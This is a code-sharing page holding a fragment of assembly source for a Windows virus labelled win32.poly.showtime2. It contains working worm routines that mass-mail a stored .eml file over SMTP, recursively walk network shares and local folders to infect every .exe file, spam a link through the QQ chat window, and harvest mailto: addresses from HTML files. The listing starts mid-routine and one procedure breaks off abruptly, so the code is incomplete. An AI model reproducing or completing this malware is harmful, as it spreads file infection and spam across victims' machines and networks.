📄 win32.poly.showtime2.txt
字号:
push esi
call _send[ebx]
jmp Next
szRcpt db "RCPT TO: <%s>",0dh,0ah,0
Rcpt db 80 dup(0)
Next:
push eMail
lea ecx,[offset szRcpt+ebx]
push ecx
lea ecx,[offset Rcpt+ebx]
push ecx
call _wsprintf[ebx]
add esp,0ch
lea ecx,[offset Rcpt+ebx]
push ecx
call _lstrlen[ebx]
push 0
push eax
lea ecx,[offset Rcpt+ebx]
push ecx
push esi
call _send[ebx]
push 0
push 6
call vData
db "DATA",0dh,0ah
vData:
push esi
call _send[ebx]
push MAX_PATH
call szSysDir
SysDir db MAX_PATH dup(0)
szSysDir:
call _GetSystemDirectory[ebx]
call szfile
db "\hello.eml",0
szfile :
lea ecx,[offset SysDir+ebx]
push ecx
call _lstrcat[ebx]
push NULL
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push NULL
push FILE_SHARE_READ
push GENERIC_READ OR GENERIC_WRITE
lea ecx,[offset SysDir+ebx]
push ecx
call _CreateFile[ebx]
mov hFile1[ebx],eax
cmp eax,INVALID_HANDLE_VALUE
jz SM_ret
push NULL
push hFile1[ebx]
call _GetFileSize[ebx]
push esi ;保存套接字
mov esi,eax
push PAGE_READWRITE
push MEM_COMMIT
push esi
push NULL
call _VirtualAlloc[ebx]
mov edi,eax
push 0
lea ecx,[offset dwRead+ebx]
push ecx ;最终读出的字节数
push esi ;需要读出的字节数
push edi ;数据缓冲区
push hFile1[ebx]
call _ReadFile[ebx]
pop esi ;恢复套接字
mov ecx,DWORD ptr dwRead[ebx]
re2:
sub ecx,1000
jb ex
push ecx
push 0
push 1000
push edi
push esi ;套接字
call _send[ebx]
add edi,1000
pop ecx
jmp re2
ex:
add ecx,1000
push 0
push ecx
push edi
push esi
call _send[ebx]
push 0
push 5
call szEndData
db 0dh,0ah, ".",0dh,0ah,0
szEndData:
push esi
call _send[ebx]
push 4000
call _Sleep[ebx]
push 0
push 6
call szQuit
db "QUIT",0dh,0ah,0
szQuit:
push esi
call _send[ebx]
push 4000
call _Sleep[ebx]
SM_ret:
push hFile1[ebx]
call _CloseHandle[ebx]
push esi
call _closesocket[ebx]
call _WSACleanup[ebx]
popad
ret
SendMail endp
myCallBack dd 0
EnumNetBoot proc ;列举网络Boot
;//开始列举网络资源
pushad
mov ebp,NULL ;//列举网络, 从根开始
mov eax,RESOURCEUSAGE_CONTAINER
lea ecx,[offset EnumNetWorkGroup+ebx]
mov DWORD ptr myCallBack[ebx],ecx
call EnumNetObject
popad
ret
EnumNetBoot endp
EnumNetWorkGroup proc ;//列举工作组
;ebp=父资源缓冲区
push ecx
mov eax,RESOURCEUSAGE_CONTAINER
lea ecx,[offset EnumNetComputer+ebx]
mov DWORD ptr myCallBack[ebx],ecx
call EnumNetObject
pop ecx
ret
EnumNetWorkGroup endp
EnumNetComputer proc ;//列举网络计算机
;ebp=父资源缓冲区
push ecx
mov eax,RESOURCEUSAGE_CONTAINER
lea ecx,[offset EnumNetComputerShareDir+ebx]
mov DWORD ptr myCallBack[ebx],ecx
call EnumNetObject
pop ecx
ret
EnumNetComputer endp
EnumNetComputerShareDir proc ;//列举网络计算机共享目录
;ebp=父资源缓冲区
push ecx
mov eax,RESOURCEUSAGE_CONNECTABLE
lea ecx,[offset DisplayMsg+ebx]
mov DWORD ptr myCallBack[ebx],ecx
call EnumNetObject
pop ecx
ret
EnumNetComputerShareDir endp
DisplayMsg proc ;//显示列举出来的共享目录
push ebp
assume ebp:ptr NETRESOURCE
mov eax,[ebp].lpRemoteName
mov edi,[ebp].lpProvider
mov ebp,[ebp].lpRemoteName
call EnumFileObject
pop ebp
ret
DisplayMsg endp
;//用来列举局域网某种对象
EnumNetObject proc
;//eax=资源标志 ,ebx=找到对象后自动回调函数指针, ebp=父资源缓冲区
pushad
push eax
push esp
push ebp
push eax
push RESOURCETYPE_DISK
push RESOURCE_GLOBALNET
call _WNetOpenEnumA[ebx]
pop esi ;//弹出hEnum句柄,平衡堆栈
or eax,eax
jnz short EnumNetObjectError
sub esp,100h
mov ebp,esp ;//在堆栈中开辟缓冲区
LoopEnumNetObject:
mov eax,1
push eax
;//一次列举一个
mov eax,esp
push 100h ;//缓冲区大小(edi=100h)
push esp
push ebp
push eax
push esi
call _WNetEnumResourceA[ebx]
pop edi
pop edi ;//平衡堆栈
or eax,eax
jnz short EnumNetObjectOver
call myCallBack[ebx] ;//调用回调函数
jmp short LoopEnumNetObject
EnumNetObjectOver:
push esi
call _WNetCloseEnum[ebx]
add esp,100h
EnumNetObjectError:
popad
ret
EnumNetObject endp
;//用来列举本地目录/网络上某个共享目录
EnumFileObject proc
;ebp=父目录的缓冲区
pushad
push ebp
call _SetCurrentDirectoryA[ebx]
or eax,eax
jz SetDirError
mov edi,100h
sub esp,edi ;//开辟200h字节的缓冲区
mov DWORD ptr [esp],2a2e2ah ;//建立"*.*"字符串
mov eax,esp
push esp
push eax
call _FindFirstFile[ebx]
mov esi,eax
inc eax
jz short EnumFileObjectError
LoopEnumFileObject:
push esp
push esi
call _FindNextFile[ebx]
;invoke FindNextFileA,esi,esp
or eax,eax
jz short EnumFileObjectOver
mov edi,esp
assume edi:ptr WIN32_FIND_DATA
lea ebp,[edi].cFileName
mov eax,[edi].dwFileAttributes
and eax,10h ;//测试文件属性
jz short IsFileObject
IsDirObject: ;//是一个目录
mov eax,DWORD ptr [ebp]
cmp al,"." ;//测试是否点目录,是就不处理
jz short LoopEnumFileObject
call EnumFileObject ;//递归调用
jmp short LoopEnumFileObject
IsFileObject: ;//是一个文件
call FoundFileObject ;//整备该操作文件
jmp short LoopEnumFileObject
EnumFileObjectOver:
push esi
call _CloseHandle[ebx]
EnumFileObjectError:
mov DWORD ptr [esp],2e2eh ;// 恢复原来的当前目录 建立字符串".."
push esp
call _SetCurrentDirectoryA[ebx]
add esp,100h ;//平衡堆栈
SetDirError:
popad
ret
EnumFileObject endp
FoundFileObject proc
;//ebp=不带路径的文件名
pushad
mov edi,ebp
xor eax,eax
LoopFindExtName:
inc edi
cmp [edi],al
jnz LoopFindExtName
mov eax,DWORD ptr[edi-4]
or eax,20202020h
cmp eax,"exe."
jnz NotExeFile
call szCurrentDirectory
CurrentDirectory db MAX_PATH dup (0)
szCurrentDirectory:
push MAX_PATH
call _GetCurrentDirectoryA[ebx]
call szA
db "\",0
szA:
lea ecx,[offset CurrentDirectory+ebx]
push ecx
call _lstrcat[ebx]
push ebp
push ecx
call _lstrcat[ebx]
push ecx
call InfectFile
NotExeFile:
popad
ret
FoundFileObject endp
;************************************
;取得MPR.DLL里相关函数地址
;************************************
GetMprFunction proc
pushad
call szMpr
db "mpr.dll",0
szMpr:
call _LoadLibraryA[ebx]
mov edi,eax
call szWNetOpenEnum
db "WNetOpenEnumA",0
_WNetOpenEnumA dd 0
szWNetOpenEnum:
push edi
call _GetProcAddress[ebx]
mov DWORD ptr _WNetOpenEnumA[ebx],eax
call szWNetEnumResourceA
db "WNetEnumResourceA",0
_WNetEnumResourceA dd 0
szWNetEnumResourceA:
push edi
call _GetProcAddress[ebx]
mov DWORD ptr _WNetEnumResourceA[ebx],eax
call szWNetCloseEnum
db "WNetCloseEnum",0
_WNetCloseEnum dd 0
szWNetCloseEnum:
push edi
call _GetProcAddress[ebx]
mov DWORD ptr _WNetCloseEnum[ebx],eax
popad
ret
GetMprFunction endp
;***********************************
;处理发送QQ消息的线程
;***********************************
QQ_Thread proc uses ebx esi edi Param:DWORD
pushad
call szMutex
MutexName db "logincom",0
szMutex:
push FALSE
push NULL
call _OpenMutex[ebx]
or eax,eax
jnz QQ_ret
lea ecx,[offset MutexName+ebx]
push ecx
push FALSE
push NULL
call _CreateMutex[ebx]
;********************************
;发送QQ消息过程
;********************************
re4:
call szWincap
db "发送消息",0
szSend db "送讯息(&S)",0
szMsg db "最感人的故事,最煽情的文章.一切尽在",0dh,0ah
db "http://www.xxx.net/index.htm",0
szClass db "RICHEDIT",0
QQSend dd 0
hEdit dd 0
hSend dd 0
szWincap:
push NULL
call _FindWindowA[ebx]
mov DWORD ptr QQSend[ebx],eax
or eax,eax
jz QQ_ret
push 0
lea ecx,[offset szClass+ebx]
push ecx
push NULL
push QQSend[ebx]
call _FindWindowExA[ebx]
mov DWORD ptr hEdit[ebx],eax
lea ecx,[offset szSend+ebx]
push ecx
push NULL
push NULL
push QQSend[ebx]
call _FindWindowExA[ebx]
mov DWORD ptr hSend[ebx],eax
or eax,eax
jz QQ_ret
lea ecx,[offset szMsg+ebx]
push ecx
push 0
push WM_SETTEXT
push hEdit[ebx]
call _SendMessageA[ebx]
push 0
push 0
push BM_CLICK
push hSend[ebx]
call _SendMessageA[ebx]
push 2000
call _Sleep[ebx]
jmp re4
QQ_ret:
popad
ret
QQ_Thread endp
;*****************************************
;分析MailFileName(*.htm*),寻找Mail_Addr.
;pkxp的代码
;*****************************************
Parse_HTM PROC htmFileName :DWORD
LOCAL hFile : DWORD
LOCAL hMapping : DWORD
LOCAL SafeFSize: DWORD
pushad
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push FILE_SHARE_READ
push GENERIC_READ
push htmFileName
call _CreateFile[ebx]
or eax,eax
jz PH_Exit
mov hFile , eax
xor eax,eax
push eax
push eax
push eax
push PAGE_READONLY
push eax
push hFile
call _CreateFileMapping[ebx]
or eax,eax
jz PH_Close
mov hMapping,eax
xor eax,eax
push eax
push eax
push eax
push FILE_MAP_READ
push hMapping
call _MapViewOfFile[ebx]
or eax,eax
jz PH_Close2
xchg eax,esi ;esi = pMapping
push 0
push hFile
call _GetFileSize[ebx]
sub eax,16 ;For security
add eax,esi
mov SafeFSize,eax ;esi必须小于SafeFSize
.while esi < SafeFSize
push esi
xor edx,edx ;Valid = FALSE
@pushsz "mailto:"
pop edi
push 7 ;"mailto:" 字符串长度
pop ecx
repz cmpsb
.if zero? ;找到 mailto:
lea edi,[offset TempMailTo+ebx]
push edi
.while esi
sock sockaddr_in <0>
wfd WIN32_FIND_DATA <0>
hProcess dd 0
_GetProcessAddress dd 0
hMem dd 0
E8_addr dd 0
VirusLen=$-offset VStart
VEnd:
End VStart
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -